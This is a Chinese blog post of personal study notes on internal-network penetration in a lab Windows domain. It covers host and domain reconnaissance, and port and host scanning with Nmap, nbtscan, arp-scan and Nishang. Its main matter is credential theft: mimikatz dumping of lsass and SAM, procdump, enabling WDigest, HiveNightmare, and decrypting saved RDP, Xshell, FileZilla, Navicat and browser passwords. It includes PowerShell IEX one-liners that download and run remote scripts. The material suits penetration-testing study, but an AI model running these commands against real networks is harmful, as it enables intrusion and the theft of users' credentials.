《内网渗透体系建设》读书笔记(二)

2. 内网信息收集

2.1 本机基础信息收集

2.1.1 查看当前用户、权限

whoami /all

image-20221017133726403

综合判断是否需要提权

2.1.2 查看网络

ipconfig /all

image-20221017131002349

image-20221017131033180

根据网卡上的网络,对各个网段进行扫描,就可以探测出内网存活的靶机

注意到:dns服务器的ip地址一般就是域控的地址

2.1.3 查看主机路由

查看当前主机的路由表

route print

image-20221017131444070

image-20221017131549130

里面的“目标网络”都是直接可以访问到的,里面包含的重要ip段在后续的横向渗透中可以尝试探测其中的存活主机

2.1.4 查看操作系统信息

systeminfo
systeminfo | findstr /B /C:"OS name" /C:"OS Version"   #查看操作系统及版本
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"        #查看操作系统及版本

单纯执行systeminfo要初始化一会儿,然后输出超级详细,海量的信息

image-20221017132042614

image-20221017132101437

image-20221017132116236

中间有些补丁我把它们省略了

信息包含:操作系统,主机名,系统目录,所处的工作站,各个网卡,补丁

也可以findstr实现信息的过滤

image-20221017133241654

2.1.5 查看端口连接信息

查看当前主机的端口连接情况,包括当前主机的TCP,UDP等端口监听活开放情况

netstat -ano

image-20221017133445949

(上面红色的是域控,下面红色的是宿主机)

image-20221017133539116

当内网主机访问当前主机时,二者会建立连接,可以从端口处找内网主机

2.1.6 查看当前会话列表

net session

查看当前主机与所连接的客户端之间的会话, 注意这里需要管理员身份才能列出会话信息, 否则会显示拒绝访问

刚刚我用的是域用户,现在要在切换用户那里./administrator,空密码登录自己的本地用户,之后使用PsExec提权到System

image-20221017134939846

2.1.7 查看当前网络共享信息

net share

image-20221017134954290

2.1.8 查看已连接的网络共享

net use

2.1.9 查看进程

tasklist
tasklist /SVC

image-20221017135055792

进程里面可以找到一些敏感的服务或程序

当然也有在线工具识别杀软Windows杀软在线对比 (saucer-man.com)

不得不提到wmic

WMIC是微软为Windows管理规范提供的命令行工具, 提供从命令行接口和批处理脚本执行系统管理的支持

在后面进行内网横向还可以看到WMIC进行下面几种利用方法:

  1. 远程查询进程列表
  2. 创建远程进程
  3. 远程安装MSI文件
  4. WMI事件订阅
    • 要求1: 远程主机开启WMI服务(默认开启)
    • 要求2: 远程主机开启135端口

查询主机进程信息,并过滤出进程的路径, 名称和PID

wmic process get Name,ProcessId,ExecutablePath

image-20221017135309234

这里窗口太小,折叠了,下面这张是宿主机复现的

image-20221017135540463

查看指定进程的路径信息

wmic process wheree Name="mstdtc.exe" get ExecutablePath

2.1.10 查看当前服务信息

执行以下命令

wmic service get Caption,Name,PathName,StartName,State

查看当前所有服务的信息,并过滤出服务的名称,路径,创建时间,运行状态信息

image-20221017140913474

有些人会回显无效的查询,这个我发现是win10上的windows terminal不能加空格,删空格就行,或者直接使用cmd.exe也可以

执行以下命令:

wmic service where Name="backdoor" get Caption, PathName, State

查看指定服务的信息,并过滤出服务名称、路径和运行状态

2.1.11 查看计划任务

查看计划任务

schtasks /query /v /fo list

image-20221017141506963

正常的机子上面这个信息很长,因为用户平时用的东西太多了

2.1.12 查看自启程序

wmic startup get Caption,Command,Location,User

查看当前主机上所有的自启程序信息,并过滤出程序名称、所执行的命令、程序的路径、所属的用户

image-20221017143154485

2.1.13 查看系统补丁安装信息

执行以下命令

wmic qfe get Caption,CSName,Description,HotFixID,InstalledOn

查看补丁列表

image-20221017143334956

2.1.14 应用安装信息

wmic product get Caption,Version

查看目标主机上安装的应用软件信息

image-20221017143616019

感觉和win那个程序与功能差不多

2.1.15 查看本地用户/组信息

net user
net user name

image-20221017143655411

查看本地管理员组

net localgroup administrators

image-20221017143709948

靶场环境里面复现是这样

image-20221017150152277

这个net user只需要 域用户/本地用户 以管理员权限开启cmd就可以用,不用system用户

可以看到除了administrator还有HACK-MY\Domain Admins,其在该主机加入域时自动被添加到计算机本地Administrators组中,所以Domain Admins组有该计算机的管理权限

执行以下命令,可以在目标主机本地创建一个新的用户并加入本地管理组中

net user <username> <password> /add                    #创建本地用户
net localgroup administrator <username> /add           #将用户加入到本地管理员组

发现要本地用户开启管理员权限才行

image-20221017150849765

image-20221017151010191

2.1.16 查看当前登录的用户

query user

image-20221017151058847

可以看到域用户的

2.2 域内基础信息收集

2.2.1 判断是否存在域环境

执行以下命令

net config workstation

查看当前工作站信息, 包括计算机名 ,用户名,系统版本,工作站,登录的域等信息

这里发现本地用户以管理员权限打开就可以看

image-20221017151231849

2.2.2 域用户信息

net user /domain

image-20221017151319153

这里发现本地用户没有权限,那么只有域用户和System用户才可以看(所有有关域的操作都要通过域控来实现,并且经过kerberos认证,不过Net user不算)

image-20221017151457690

查看指定域用户的详细信息可以执行以下命令

net user <username> /domain

执行以下命令,获取所有用户的SID、所属域和用户描述信息

wmic useraccount get Caption,Domain,Description

image-20221017151734508

2.2.3 查看域用户组信息

net group /domain    #列出域内所有用户组
net group "Domain Admins" /domain    #查询域内管理员组,得到所有域管理员用户
net group "Domain Computers" /domain #查询域内成员主机组,获得域内所有客户端主机
net group "Domain Users" /domain     #查询用户组,得到域用户
net group "Enterprise Admins" /domain  #管理员组

image-20221017153552225

image-20221017153743692

image-20221017153714410

image-20221017153944741

域组名称 说明(记住组名就行,里面的用户见名知意)
Domain Admins 域管理员组,包括所有域管理员用户
Domain Computers 域成员主机组,包括加入域的所有工作站和服务器,用户名格式为机器名+$
Domain Controllers 域控制器组,包括域中的所有域控制器 (查询这个用户组可以得到所有域控制器主机名,见下面第5点)
Domain Guests 域来宾组,包括所有的来宾用户
Domain Users 域用户组,包括所有的域用户
Enterprise Admins 企业系统管理员组, 适用于域林范围

2.2.4 域内密码策略

执行以下命令

net accounts /domain

image-20221017155023246

查询域内用户的密码策略,并发起爆破攻击

2.2.5 查看域控制器列表

net group "Domain Controllers" /domain

image-20221017154932775

查询域控制器组,可以得到所有的域控制器的主机名

nltest /DCLIST:hack-my.com

image-20221017155729521

2.2.6 查看主域控制器

一般情况下,主域控制器会同时被用作时间服务器,是的域中所有计算机的时钟同步,所以可以用这个命令

net time /domain

但是我域控那里没设置,所以无了

2.2.7 定位域控制器

知道目标主机的主机名后,ping下就知道其ip

ping DC-1.hack-my.com

当然还可以通过“一般dns服务器就是域控”来定位域控,直接ipconfig /all

2.2.8 查看域信任关系

建立域信任的两个主机间可以实现资源共享

nltest /domain_trusts

2.3 内网资源探测

2.3.1 发现内网存活主机

  • ICMP探测

ICMP是TCP/IP协议族的一个子协议,我们常用的ping就属于它

这里有个对网段循环ping的脚本

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

这里我ping了一下实验室网段,看看有哪些小兔崽子天天拿授权Ip不干正事()

image-20221017163602515

适用于一般的扫描

  • NetBIOS (网络基本输入/输出系统)协议探测

h0cksr师傅的总结蛮好的,内网信息收集|内网渗透体系建设 – h0cksr's_Blog

NetBIOS并不是一种协议, 它是一种应用程序接口(API), 提供OSI/RM的会话层服务, 让不同的计算机上运行的不同程序可以在局域网中相互连接和共享数据。

几乎所有局域网都是在NetBIOS协议的基础上工作的, 操作系统可以利用WINS服务, 广播, Lmhost文件等模式将NetBIOS名解析为相应的IP地址.

NetBIOS的工作流程就是正常的主机名解析,查询,应答的过程

Windows默认在安装TCP/IP之后将自动安装NetBIOS

nbtscan是一个扫描win网络上NetBIOS名称的程序,kali自带unix版,win32在这下载Release nbtscan-v1.5.2-2394b4 · lifenjoiner/nbtscan (github.com)

image-20221017164124889

这个扫出来的都是win主机并且含有用户名

  • udp探测

udp是传输层的无连接协议,一旦发出无需建立连接

将一个空的UDP报文发送到目标主机特定端口后:

1 目标主机端口是关闭的, 则UDP探测得到一个ICMP无法到达的报文

2 端口开放可达, 大多数服务直接忽略这个空报文不做任何回应

h0cksr师傅的总结蛮好的,膜

arp是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议, 用于五楼层通信。主机发送信息时, 将包含目标地址的arp请求通过广播发送给局域网上的所有主机, 并等待应答接收返回信息, 以此确定目标的物理位置

  1. arp发送方通过广播发送一个arp数据包向局域网全部主机发送数据包, 询问谁是"192.168.30.x"
  2. 局域网内的其他主机收到询问后有两种情况:
    1. 局域网ip为"192.168.30.x"的主机: 向请求主机发送响应包, 告诉请求主机, "我就是192.168.30.x,我的mac地址是xxxx"
    2. 局域网ip不是"192.168.30.x"的主机: 忽略这个请求
  3. arp收到响应后将ip::192.168.30.x => mac::xxxx这个映射关系存到arp缓存中

在收到返回的响应后, arp发送主机会将应答主机的mac地址和ip地址存入arp缓存这个映射表中保存一段时间

这里也是没什么默认系统工具,可以通过项目直接下载可执行exe文件arp-scan-windows-或者使用ps脚本Invoke-ARPScan.ps1直接使用IEX直接一句话加载远程代码

unicornscan在kali

unicornscan -mU 10.10.10.0/24

image-20221017183322919

  • arp探测

arp-scan是一款快速,便捷的内网扫描工具

.\arp-scan.exe -t 192.168.239.0/24

image-20221017165529439

Empire框架有以下arp探测的powershell脚本

把https://raw.githubusercontent.com/sinmygit/git/master/Invoke-ARPScan.ps1的内容保存到Invoke-ARPScan.ps1

随后(win默认不可执行ps,所以要修改一下权限,这个自己搜吧)

Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.92.1/24

image-20221017181352647

也可以将脚本托管在服务器上,并通过powshell远程加载运行

powshell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://your-ip:port/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.92.1/24"

udp通常可以将物理地址探测出来,一般可能结果包含多个伪终端或者一些非PC的机器,但是ip最全

  • SMB探测

SMB是网络文件共享系统协议,一种应用层传输协议,也称CIFS协议,通常是139和445端口发送,目前倾向于使用445

看看h0cksr的总结

CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口(这点需要注意一下,后面学习提取或者横向的时候如果用到SMB服务的话就需要满足139或445端口开启,原因就是在这里了),目前倾向于使用445端口

实际使用中,由于探测SMB服务,从而找到内网主机,多适用于Windows主机的发现

CrackMapExec能够枚举登录用户,枚举SMB服务列表,执行WINRM攻击(WINRM会在后面的横向用到)等功能

CrackMapExec smb 10.10.10.0/24
.\crackmapexec.exe --service-type smb 192.168.239.0/24

image-20221017183753623

2.3.2 内网端口扫描

  • telnet

该命令可以简单测试指定的端口号是正常打开还是关闭状态

telnet <ip> <port>

image-20221017184711925

  • Nmap进行端口扫描

这个不废话了

以下是比较常用的

参数  说明
-sT TCP连接扫描
-sS TCP SYN扫描(半开扫描), 需要root权限
-sF TCP FIN扫描
-sN TCP 空扫描
-sX TCP 圣诞树扫描
-sA TCP ACK扫描
-sU UDP 扫描, 结果不大可靠
-sP ping扫描,nmap端口扫描的时候默认就是使用ping扫描
只有主机存活, Nmap才会继续扫描
此外还有一些参数:

参数  说明
-sR RPC扫描
-sV 版本扫描
-b  FTP代理扫描
-P0 扫描前不ping主机
-v  显示详细扫描过程
-p  指定扫描端口
-O  操作系统探测
-A  全面系统探测,启用脚本检测、扫描等
-sC 根据端口识别的服务,调用默认脚本
--script=脚本名称   使用脚本引擎, 有多种功能的脚本,如
漏洞扫描、漏洞利用、目录扫描等功能
  • powershell下的端口扫描

samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security. (github.com)

Nishang这个工具是powshell渗透测试专用框架

使用

Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort

可以指定port

Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort -Port 80,88,135,139,443,445,3306,3389,8080

同样的,可以远程加载

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.1/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort"   

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.1/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort -Port 80,88,135,139,443,445,3306,3389,8080"

试了下,warning太多以至于挡掉了输出

2.3.3 利用MetaSploite探测内网

MetaSploite中内置集成的发现内网主机存活探测内网服务,对目标主机端口扫描的这些后渗透扫描功能模块都放在auxiliary/scanner里面,可以直接搜索查看, 如果想要找某个服务的扫描模块可以搜索auxiliary/scanner/服务名称

msfconsole
search auxiliary/scanner

MetaSploite的模块是非常多的, auxiliary/scanner扫描辅助模块就有高达607个模块可用, 上面所说的各种查找几乎都有对应的模块实现

总之搜索怎么用就行

2.3.4 端口Banner信息

端口中的Banner往往会泄露重要信息,比如得到软件开发商,软件型号,服务类型,版本号这些信息(主要是最后两个),便于我们展开下一步的攻击

  • netCat

就是nc,win下一般安装netcat

直接nc 可疑端口

nc ip port

image-20221017192651511

  • telnet
telnet ip port

探测21,22端口比较有用

image-20221017192720566

  • Nmap

可以指定脚本 --script=banner

不过我之前用的-A参数

image-20221017193254101

image-20221017193607157

2.4 收集用户凭证

2.4.1获取域内单击密码和哈希值

SAM文件

SAM文件是Windows用户的账户数据库,位于%SystemRoot%\System32\Config目录中,所有本地用户的用户名, 密码哈希等信息都被存放在这个数据库文件中.

如果之前了解NTLM的本地身份验证机制就可以知道, 在用户输入用户名密码登录时, 用户输入的密码会被转为哈希值, 然后将转换后的哈希值域SAM数据库中对应用户名的密码哈希值进行比对, 如果一致则说明密码正确, 认证成功.(这里使用哈希进行比对我们可以注意一下, 因为身份验证机制中很多地方都是使用哈希就行验证的而非明文密码比对, 这就出现了之后的PTH攻击)

lsass.exe是Windows的一个系统进程, 用于实现系统的安全机制, 主要用于本地安全和登录策略. 通常在用户输入密码完成验证开始登录用户的时候, 登录的域名, 用户名,登录凭据等信息都会存储在lsass.exe的进程空间中, 用户的密码则是通过WDigestTspkg模块调用后使用可逆的加密算法加密后存储在内存中.

用户获取账户的密码和哈希的工具有很多, 其中大多都是通过读取SAM文件或者访问lsass.exe进程的内存数据操作实现的, 而这些都需要管理员权限, 这就意味着我们如果只有普通用户的权限的话是做不到这点的, 所以需要我们进行提权的操作, 下面先直接使用mimikatz内置的提权方式: privilege::debug获取DebugPrivilege权限, 至于更多的提权方式会在后面单独讲

在上面说到在用户登录的时候用户的明文密码会通过WDigestTspkg模块调用后再加密存储在lsass.exe的内存中, 但是为了防止用户明文密码在内存中泄露, 微软在2014年5月发布了KB2871997补丁, 关闭了WDigest功能, 禁止从内存中读取明文密码, 且Windows Server 2012及以上版本默认关闭WDigest功能.

若是要在高版本win复现需要修改注册表

开启WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

随后重新登陆或注销后就可以用了

这里直接在win server 2008下复现

2.4.1.1 在线读取lsass.exe进程内存

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit #从lsass.exe进程的内存中读取当前已登录用户的凭据(需要管理员身份执行,否则会DebugPrivilege权限获取失败)
#privilege::debug提升至DebugPrivilege权限
#sekurlsa::logonpasswords导出用户凭据

在线读取就是将mimikatz上传到靶机上, 然后直接在靶机上执行mimikatz

域用户似乎无法直接读取

换了本地用户可以了

image-20221017210212991

image-20221017210242243

image-20221017210308428

image-20221017210355660

密码完全正确(我本地用户没有设密码)

2.4.1.2 离线读取lsass.exe进程内存

就是把lsass.exe给dump出来再取证

dump工具有很多,这里Procdump为例

procdump.exe -accepteula -ma lsass.exe lsass.dmp #将lsass内存导出到lsass.dmp文件中
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit #导入lsass.dmp内存文件并导出已登录用户凭据

image-20221017211348314

输出和前面的差不多,但是离线更易取证

2.4.1.3 在线读取本地Sam文件

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# privilege::debug,用于提升至DebugPrivilege权限
# token::elevate,提升至system权限
# lsadump::sam,用于读取SAM文件

可以导出当前系统中所有本地用户的哈希值

image-20221017213252375

image-20221017213326104

2.4.1.4 离线读取本地Sam文件

为了提高SAM文件的安全性以防止离线破解, Windows会对SAM文件使用秘钥进行加密, 这个秘钥存储在SYSTEM文件中, 与SAM位于同一个目录下.

在系统运行时,SAM和SYSTEM这两个文件是被锁定的, 所以需要借助一些工具来实现, 有下面几个方式参考:

在系统运行时,SAM和SYSTEM这两个文件是被锁定的, 所以需要借助一些工具来实现, 有下面几个方式参考:

  1. 使用PowerSplit项目中提供的Invoke-NinjaCopy.ps1脚本
Invoke-NinjaCopy -Path 'C:\Windows\System32\config\SAM' -LocalDestination 'C:\Users\h0cksr\Desktop\SAM'

image-20221017214036562

啧,还是远程下载试试

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.239.61:8001/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path 'C:\Windows\System32\config\SAM' -LocalDestination 'C:\SAM'"  

image-20221017214803059

绕过防火墙了

  1. 通过HiveNightmare漏洞(CVE-2021-36934)

直接从系统卷影副本中访问和转储SAM,SYSTEM文件

这里复现不了,看看h0cksr的笔记:

  • 系统卷影副本,需要创建有系统还原点, 其影响范围为Windwos10 Version 1809以来发布的全部版本, 包括Win11在内
  1. icacls C:\Windows\System32\config\SAM    #在一般用户权限下执行即可, 若是输出"BUILTIN\Users:(I)(RX)"则表示系统易受攻击COPY

    因为虚拟机和我的物理机都没有创建过系统还原点所以并不存在该漏洞, 下面的利用在这里记一下, 就演示不了了

    image-20221014003903315

  2. 下载HiveNightmare.exe然后将其上传到靶机, 直接执行HiveNightmare.exe就会在当前目录下导出生成SAM,SYSTEM,SECURITY三个文件

  3. python3 secretsdump.py -sam SAM-haxx -system SYSTEM-haxx -security SECURITY-haxx LOCALCOPY

    运行Impacket的secretsdump.py导出SAM文件中的哈希值

也可以在管理员权限下通过保存注册表的方式导出

reg save HKEY_LOCAL_MACHINE\SAM\SAM sam.hive    #导出SAM注册表
reg save HKEY_LOCAL_MACHINE\SYSTEM system.hive  #导出SYSTEM注册表

mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit  #使用mimikatz读取SAM文件内容

2.4.2 获取常见应用软件凭据

为了扩大可访问的范围,测试人员会尝试搜搜各种常见的密码存储位置,像很多的软件就会存储密码

2.4.2.1 获取rdp保存的凭证

如果你有勾选过这个

image-20221017220110933

那么就会留下凭证(尽管是加密的),存储在%USERPROFILE%\AppData\Local\Microsoft\Credentials目录

cmdkey /list #查看当前保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*   #遍历Credentials目录下保存的历史连接凭据数据

image-20221017221957417

image-20221017221909439

由于是加密的,我们尝试使用Mimikatz导出RDP凭证

看看上面的时间,应该是22:18分的

mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit    #使用mimikatz解析指定的连接凭据

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit   #找到与guidMasterKey(GUID)相关联的MasterKey

mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D/masterkey:c33afd208e2f69c975b90546deedc8091c47eab49fb96a9c3092373f276a85dcf90d41e072eb4a105599244876b686c145f5bd2f00ffc12cac2e7faace661733" exit

image-20221017223412486

这时候拿到的pdData就是凭据的加密数据,得到了一个记录着guidMasterkey的GUID,

然后执行mimikatz命令找到想关联的MasterKey

image-20221017223731676

拿到MasterKey, 这就是加密凭据所使用的秘钥

fb7ed267c1701cf378f909972f36a52f7f10f0b6533d89f0a76071ca437155b18768d0ebb3dba6c680f65aa4de5e2825d62694d5e8b3184c5a28074e28c9b00e

使用秘钥执行命令使用MasterKey值破解指定的凭据文件

然后我也得引用h0cksr的话

最后执行这个命令就可以在回显的UserNameCredentials这两个数据的值得到用户名和密码, 但是不出意外就出意外了, 我这里执行了之后mimikatz报错了并没有得到正常回显

2.4.2.2 Xshell(待复现)

没环境只能借鉴同行

  1. 获取Xshell保存的凭据

    SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang\Xshell\Sessions"   #获取Xshell5的账密
    SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions"  #获取Xshell6的账密COPY

    Xshell会将服务器连接信息保存在Session目录下的.xsh文件中, 如果用户在连接的时候勾选了记住用户名/密码, 改文件会保存远程服务器连接的用户名和结果加密后的密码

    Xshell版本 .xsh文件路径
    Xshell5 %USERPROFILE%\Documents\NetSarang\Xshell\Sessions
    Xshell6 %USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions
    Xshell7 %USERPROFILE%\Documents\NetSarang Computers\7\Xshell\Sessions

    Xshell5和6可以通过工具SharpDecryptPwd解密, 除此之外该工具还可以解密NavicateTeamViewerFileZillaWinSCPXmangager系列产品

    SharpDecryptPwd.exe上传到靶机, 执行命令即可获取xshell中保存的全部账号密码

    SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions"COPY

    Xshell7后的版本通过上面命令获得的密码为一串乱码,只能使用星号密码查看器直接查看密码

2.4.2.3 FileZilla(待复现)

SharpDecryptPwd.exe -FileZillaCOPY

FileZilla用于FTP连接, 它会将FTP登录凭据以base64密文的格式保存在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml文件中, 可以使用SharpDecryptPwd直接一键导出FileZilla保存的凭据

2.4.2.4 Navicat(待复现)

SharpDecryptPwd.exe -NavicatCryptoCOPY

执行命令可以一键导出当前主机上用户连接过的所有数据库的登录凭据

数据库类型 凭据存储路径(注册表)
Mysql HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Server\< Connetion Name>
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\< Connetion Name>
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\< Connetion Name>
SQL SERVER HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\< Connetion Name>
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\< Connetion Name>
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\< Connetion Name>
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\< Connetion Name>

Navicat的注册表中记录了保存密码的连接数据, 包括IP,用户名,密码,连接数据库名,数据库类型等, 其中密码字段是结果可你算法加密后再保存的, 其中Navicat<=11版本和Navicat>=12版本分别使用不同的加密算法(但是这就不需要我们关心了,直接工具一把梭拿到全部连接的账号密码和对应ip就行)

2.4.2.5 浏览器

获取浏览器保存的凭据

hack-browser-data.exeCOPY

将工具hack-browser-data上传到靶机上直接运行

然后就会将相关的数据导出到当前目录下的./result目录下

image-20221017230519833

其实本身只要有登录浏览器,都是可以手动导出保存的密码的

但是只有edge的,没啥

评论

  1. peipei
    1 年前
    2023-3-12 17:25:37

    我想问作者学了多久?

    • 博主
      peipei
      1 年前
      2023-4-09 15:09:48

      2个月细细碎碎的学

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇